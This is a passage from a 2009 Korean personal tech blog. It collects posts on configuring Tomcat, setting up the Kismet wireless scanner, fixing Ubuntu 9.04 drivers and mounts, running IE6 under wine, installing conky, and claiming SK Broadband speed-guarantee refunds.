본인의 경우 JDK 경로가 C:\Java\jdk1.6.0_13이다. 이렇게 3개의 환경변수를 등록하면 된다.

4. 톰캣 서버 포트 변경
C:\apache-tomcat\conf\server.xml
파일을 수정한다.
    <Connector port="8080" maxHttpHeaderSize="8192"
파일 내용에서 port 8080으로 된 것을 8090으로 변경
8080의 경우 프록시나 오라클과 충돌이 날 수 있다.

5.서브 디렉토리 생성하기
기본 디렉토리 파일 복사하여 서브디렉토리 생성하기
C:\apache-tomcat\webapps\jsp-examples\WEB-INF에서
classes - 폴더
lib - 폴더
web.xml
를 복사하여
C:\apache-tomcat\webapps\test007\WEB-INF
경로에다가 붙여넣기 한다.

web.xml 파일의 내용을 아래 내용만 남겨놓는다
<?xml version="1.0" encoding="ISO-8859-1"?>

<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
    version="2.4">

</web-app>
test007/ 경로에 index.html 파일을 만들고
웹브라우저로 http://127.1.1.1:8090/test007/index.html 경로로 접속하여 본다.

6. 다른 시스템 디렉토리를 서브 디렉토리로 사용하기(1)
C:\apache-tomcat\conf\web.xml
파일에서 아래 두 내용에서 invoker가 주석 처리 되어 있는데 그 주석을 제거한다
    <servlet>
        <servlet-name>invoker</servlet-name>
        <servlet-class>
          org.apache.catalina.servlets.InvokerServlet
        </servlet-class>
        <init-param>
            <param-name>debug</param-name>
            <param-value>0</param-value>
        </init-param>
        <load-on-startup>2</load-on-startup>
    </servlet>
이 곳과 아래 내용
    <servlet-mapping>
        <servlet-name>invoker</servlet-name>
        <url-pattern>/servlet/*</url-pattern>
    </servlet-mapping>

C:\apache-tomcat\conf\Catalina\localhost\test008.xml
파일을 생성하고 내용을 넣는다.
<?xml version="1.0" encoding="UTF-8"?>
<Context docBase="C:\test008"
         privileged="true" antiResourceLocking="false" antiJARLocking="false">
</Context>
위와 같이하고 xml 설정 파일을 reload하기 위해 톰캣을 재시작한다.
이렇게 하면 이제 웹에서는
http://127.1.1.1:8090/test008/index.html
와 같은 경로로 하위 폴더 접근이 가능해진다.

6. 다른 시스템 디렉토리를 서브 디렉토리로 사용하기(2)
위와 같은 서브디렉토리를 만드는 결과는 같지만, 방법만 다르다.

C:\apache-tomcat\conf\server.xml
파일에서
</host 로 검색하여 그 문장 바로 위에
<Context path="/test008" docBase="D:\test008"/>
를 삽입한다.
톰캣을 재시작하면 정상적으로 서브디렉토리 사용이 가능해진다.


이올린에 북마크하기
2009/05/28 17:37 2009/05/28 17:37

Kismet.conf 설정

Posted at 2009/05/26 17:00 // in Security // by 엔신
본인의 경우 Atheros 5008X 무선랜과 LINKSYS WUSB54GC 무선랜(USB) 2개를 사용한다.
Kistmet.conf 설정할 때 마다 매 번 까먹어서 찾는게 귀찮아서 글로 남겨두겠음.

Kismet은 passive scanner이다.

일단 우분투에서의 설치는 매우 간단하다.
sudo apt-get install kismet

Atheros 무선랜 기준으로 설정

드라이버는 madwifi가 아닌 ath5k로 설명한다. madwifi라고 다를 것 없음.
sudo kismet
하면 conf에서 설정이 되어 있지 않으므로 오류가 나면서 실행이 되지 않는다.
한줄만 설정을 하면 된다.
sudo vi /etc/kismet/kismet.conf
source=none,none,addme
로 되어 있는 것을 아래와 같이 수정
source=ath5k,wlan0,addme
source=sourcetype,interface,name[,initialchannel]
첫 번째는 말 그대로 소스 타입이다. 자신의 무선랜의 소스타입을 확인하고자 한다면 이 링크의 12. Capture Sources 메뉴를 참조하길 바란다. 두 번째 interface는 터미널에서 iwconfig 명령을 사용하여 나오는 것들 중 자신의 무선랜 인터페이스 명을 적어주면 된다. 세 번째는 별다른 의미가 없다. 하나의 이름일 뿐이다.

madwifi의 경우에는 madwifi_g, mon0, addme로 설정했던 것 같다.(mon0은 airmon-ng으로 생성되는 monitor모드의 가상 인터페이스)

위 설정을 하고 root 권한으로 kismet을 실행시키면 된다.
sudo kismet
사용자 삽입 이미지
[키스멧 가동 화면]

링크시스도 다를꺼 뭐 있나?
sourcetype과 interface만 설정해주면 된다.

이올린에 북마크하기
2009/05/26 17:00 2009/05/26 17:00

ubuntu 9.04에서 기본적인 세팅 버그 해결

Posted at 2009/05/23 02:21 // in Linux // by 엔신
떠돌이님의 우분투 9.04 기본적인 삽질글을 통해 우분투 문제점을 해결하였다.

1. 오픈오피스 글꼴 버그
2. 네트워크 서비스 탐색 비활성화 오류 메시지
3.
intel 그래픽 카드 성능 저하 문제
4.
NTFS 파티션 자동 마운트
5. Atheros 무선랜 버그(a/b/g에 해당, n은 ath9k가 담당)
본인은 intel X4500 그래픽카드를 사용하는데 uax를 작동시켰더니 체감 속도가 조금 향상되었고, NTFS 파티션 자동마운트의 경우 따로 프로그램을 설치하지는 않고, /etc/fstab에 등록시켰다.

# uuid 확인하기(sata 하드디스크의 경우)
/dev/disk/by-uuid
sudo vi /etc/fstab
fstab에 아래 내용와 같은 내용을 추가하였다.(UUID는 부분 #처리)
# 설명
#        1                               2                  3        4             5       6
UUID=##64F4D864####   /media/DATA     ntfs-3g defaults        0       0
1. 장치명 : /dev/sda, /dev/sda1 /dev/hda1 과 같은 형식의 장치명을 적는다
2. 마운트 디렉토리 : 원하는 마운트 디렉토리(디렉토리가존재하여야함)
3. 파일시스템 종류 : ext, ext2, ext3, ext4, iso9660, nfs, swap, ufs, vat, ntfs, ntfs-3g 등
    ntfs로는 쓰기가 되지 않았다. 그리고 기타 문제점들을 수정하여 안정화된 버전이 ntfs-3g이다. 그러므로 ntfs-3g를 사용하면 된다. 또한 ntfs라고 적더라도 ntfs-3g로 override 되어진다.
4. 파일시스템 속성 :
    default : rw, nouser, auto, exe, suid
    auto,noauto,exec,noexec,suid,nosuid,user,nouser,ro,rw,usrquota,grpquota
5. dump 설정 : 데이터 백업이 가능한지 여부, 1이면 true, 0이면 false
6. 체크 옵션 : fsck, e2fsck
    0 : 부팅시에 파일 시스템 점검 하지 않음
    1 : 루트파일시스템으로서 부팅시에 파일 시스템 점검 수행
    2 : 루트파일시스템 이외의 파일시스템으로서 부팅시 파일 시스템 점검 수행

마지막으로 아데로스 5008 랜카드를 사용하는데 최근에는 유선랜만 사용하여 문제가 있는지 몰랐다. 떠돌이님의 글을 보고 혹시나해서 테스트해보기 위해 내장 랜말고 USB linksys 랜카드로 테스트해보았더니, 정상적으로 접속이 되었고, 아데로스 내장랜의 경우 접속이 되지 않았다.
수신율 또한 문제가 있었다.

사용자 삽입 이미지
[무선랜 드라이버 컴파일 이전 상태]

확실히 수신율에서도 구형인 Linksys WUSB54GC보다 못하게 나오는 것을 확인할 수 있다. 기존에는 Backtrack에서 madwifi 드라이버를 사용하여 접속하였었지만, 떠돌이님의 madwifi 특집 포스팅 (1) - madwifi? ath5k? 글을 참조하여 밀어주고 있는 ath5k를 설치해보기로 하였다.

ath5k 설치 방법
wget http://wireless.kernel.org/download/compat-wireless-2.6/compat-wireless-2.6.tar.bz2
tar jxvf compat-wireless-2.6.tar.bz2
cd compat-wireless-2009-05-21
sudo apt-get install build-essential
make
sudo make install

정상적으로 설치가 된 이후 모듈을 올리기 위해 재부팅하라고 나오고 재부팅한 후 확인하여 보았다.

사용자 삽입 이미지
[드라이버 설치 이후 수신율]

확실히 수신율이 나아졌고, 인터넷도 잘 되었다.

이올린에 북마크하기
2009/05/23 02:21 2009/05/23 02:21

ubuntu 9.04에 IE6으로 AxtiveX 이용하기

Posted at 2009/05/22 01:04 // in Linux // by 엔신
사용자 삽입 이미지
[설치하고 사용한 화면]

wine 1.0.1 + cabextract 1.2-3 + ies4linux-2.99.0.1

http://gom79.com/gom/information/3395 를 참조하여 설치하였다.

VirtualBox의 윈도우XP에서 익스플로러를 사용하였으나, VirtualBox의 NAT 네트워크는 다운로드는 괜찮게 나오지만, 업로드가 3kbps가 나와서 어쩔 수 없이 wine과 ies4linux를 설치하게 되었다. 또 다른 이유는 간단하게 IE만 사용하여야 하는 상황인데 VirtualBox를 사용하니 안그래도 여름이라 날이 더워지고 있는데 노트북이 열을 많이 받아서 트북이 자극을 자제시켜 주고 싶었다.
NAT 네트워크 사용시 Upload 속도 저하 문제가 어서 빨리 해결되었으면 좋겠다.

/home/사용자계정/에 다운로드 받아서 압축을 풀었다.
sudo apt-get install wine cabextract
wget http://www.tatanka.com.br/ies4linux/downloads/ies4linux-latest.tar.gz
tar zxvf ies4linux-latest.tar.gz
cd ies4linux-*
./ies4linux
GUI 창이 뜨고 확인만 눌러서 설치하면 된다고 하는데, 파이썬 관련 오류가 나오길래
README 파일을 참조하여 CUI 모드로 설치를 하였더니 정상 설치가 되었다.
./ies4linux --no-gui
그랬더니 /home/사용자계정/bin/ie6이라는 심볼릭링크가 생성이 되었다.
원경로는 /home/사용자계정/.ies4linux/bin/ie6이었다.
/home/사용자계정/.ies4linux/ie6/drive_c
경로로 들어가면 windows와 programe files 디렉토리가 존재하여 ActiveX 설치나 프로그램 설치시 설치 가능하도록 되어져 있었다.

문제점
1. 인터넷 접속시 플래시를 설치할 수 있는 창이 나오게 된다. 정상적으로 설치가 잘 되지만 플래시가 계속 깜빡깜빡거려서 눈이 아프다.
2. ActiveX 설치를 시도하는 사이트의 경우 ie6linux 프로그램이 10초정도 다운되어진다. 그러나, 다운되었다고 창 막 누르고 그러지 말고, 다른 작업 10초정도 해주고 창을 돌아보면 설치 화면이 떠져 있으니 침착하게 설치하면 된다.
3. 일부분 한글 폰트가 깨진다.(이 부분은 폰트 관련 설정을 좀 더 해보면 해결될지도 모르지만 그정도로 ie6 쓸일 없음)

문제점이 있기는 하지만, 내가 필요한 작업(ActiveX이용)이 되므로 사용할 것이다.

이올린에 북마크하기
2009/05/22 01:04 2009/05/22 01:04

ubuntu 9.04에 conky 설치

Posted at 2009/05/21 00:19 // in Linux // by 엔신
사용자 삽입 이미지

conky란 바탕화면에서 오른쪽에 나오는 시스템 모니터링 도구이다.
설치는 지크님의 글을 참조하였다.

프로그램 설치
sudo apt-get install conky
sudo apt-get install devilspie


// devilspie는 바탕화면이 conky를 덮어버리는 현상을 해결하기 위한 것
그 외에도 특정 어플리케이션을 데스크탑 화면에서 실행시키기 위한 프로그램

지크님의 conky에서 hdd 부분만 나에게 맞게 수정하였음

~ 경로에 생성해주는 .conky 파일

more..


터미널 창에서 아래와 같이 파일 생성
mkdir ~/.devilspie
touch ~/.devilspie/conky.ds


conky.ds 파일 내용

more..



시스템 -> 기본 설정 -> 시작 응용프로그램에 conky와 devilspie를 추가 등록한다.

재부팅하면 정상적으로 작동됨.
이올린에 북마크하기
2009/05/21 00:19 2009/05/21 00:19

SK브로드밴드 사용자의 정당한 권리

Posted at 2009/05/13 22:19 // in Ambiguous // by 엔신
한달전쯤에 기존에 사용하던 지역케이블(10Mbps)에서 SK브로드밴드 주택 광랜(W광랜:하향100Mbps/상향30Mbps)으로 갈아탔습니다. 기존 지역케이블의 위약금을 13만원 가량 내고 변경한 SK브로드밴드의 경우 설치시 매우 안정된 속도를 보여주었습니다.

주택광랜의 경우 아파트와 달라서 상향(업로드)과 하향(다운로드)의 속도가 대칭형이 아닙니다. SK브로드밴드 홈페이지에서는 최대 30메가까지 가능하다고 하지만, A/S기사님과 얘기를 해보니 제가 사는 지역은 최대 20메가정도가 한계이고, 현재 나오는 속도도 안정적인 속도라고 말해주더군요.(그렇다고 하니 그렇게 알아야겠죠)

그러나 설치후 한 일주일정도 지나자 다운로드하면서 뭔가 속도가 느리다는 것을 느끼고 속도 테스트를 하여 보았더니 비정상적인 속도가 나오고 있었습니다.

모든 인터넷 업체의 경우 최저속도보장 제도가 존재하고 SK브로드밴드는 SLA(Service Level Agreement)라는 제도가 있습니다. 또한 올해 들어서 SK브로드밴드의 경우 최저 속도를 50Mbps로 규정을 개선하였습니다.

그러나 저는 30~40Mbps대의 다운로드 속도가 나오고 있었고, 어떻게 해결해야 되나 싶어서 SK브로드밴드 사이트에 접속해서 둘러보았습니다.

그러던 중 사이트 내에서 존재하는 SLA 속도측정 메뉴에 대하여 확인할 수 있었고, 자세히 알아보게 되었습니다.

아래는 보상 기준입니다.

30분간 5회 이상 측정하여 측정치의 60% 이상이 최저속도(다운로드속도) 미달시 당일 이용요금 감면

아래는 제가 SLA속도측정한 기록입니다. 모든 기록이 누적이 되는 것이 아닌가 봅니다. 기록이 많아지다보니 19일 이전 기록은 나타나지 않는군요.

사용자 삽입 이미지

SLA ID 부분은 삭제하여 빈공란으로 남겨두었습니다.

그림을 통해 보다시피 대부분이 보상 판정을 받았습니다. 일단 SLA 측정을 하게 되면 몇일 이내로 안내 전화가 오며 방문 시간을 잡게 됩니다. 저 같은 경우도 방문하여 측정을 하였으나 기사님도 정확한 원인을 알수 없다고 하였던 상황입니다.

주말이었기에 월요일날 전신주의 셀 점검을 신청해놓겠다고 하였고 그 주에 한번 더 확인하여 달라고 하고 돌아가셨습니다. 그때가 4월 25일 토요일이었습니다.

그 이후에 종종 속도측정을 하였으나, 속도는 여전히 불만족스러운 상황이었고 SK브로드밴드로부터 다시 연락 오지 않았기에 저는 꾸준히 SLA속도측정을 하고 있었습니다.

그러던 중 사용 한달이 되어 요금 청구 안내서가 이메일로 왔습니다.

사용자 삽입 이미지
기본료 부분은 사용자분들마다 차이가 있을 것입니다. 저 같은 경우에 저렴한 것인지 모르겠지만 약정기간도 상당히 긴 편이고 할인을 더 받기 위해 SKT의 패밀리 결합상품을 신청해놓은 상태입니다. 그러므로 개인 요금 편차는 감안하시기 바랍니다.

확인하여야 될 부분은 SLA보상할인의 금액입니다. 5,432원이라면 결코 적지 않은 금액입니다. 요금확인을 하는 순간 기분이 좋더군요. 제가 손해받은 서비스에 대하여 보상을 받았기 때문입니다.

매일 같이 30분씩 속도 측정하는 것은 매우 번거로운 일일수도 있지만 당연한 권리를 포기하지는 않으셨으면 합니다.

최저보장속도보다 적게 나오고 있는데 인터넷이 되기에 무심결에 사용하고 계신 분이 있다면 사용자의 권리를 찾으시길 바랍니다.

무엇보다도 가장 좋은 것은 정상적인 속도가 나와 돈 낸 만큼 제대로 된 서비스를 받는 것이겠지요. 저도 어서 안정된 속도를 보장받고 싶습니다. 또한 SK브로드밴드의 약속 이행을 통하여 SK브로드밴드를 가입한 것을 잘했다고 생각하고 있습니다.

이올린에 북마크하기(0) 이올린에 추천하기(0)
2009/05/13 22:19 2009/05/13 22:19
1 2 3 4 5 ... 7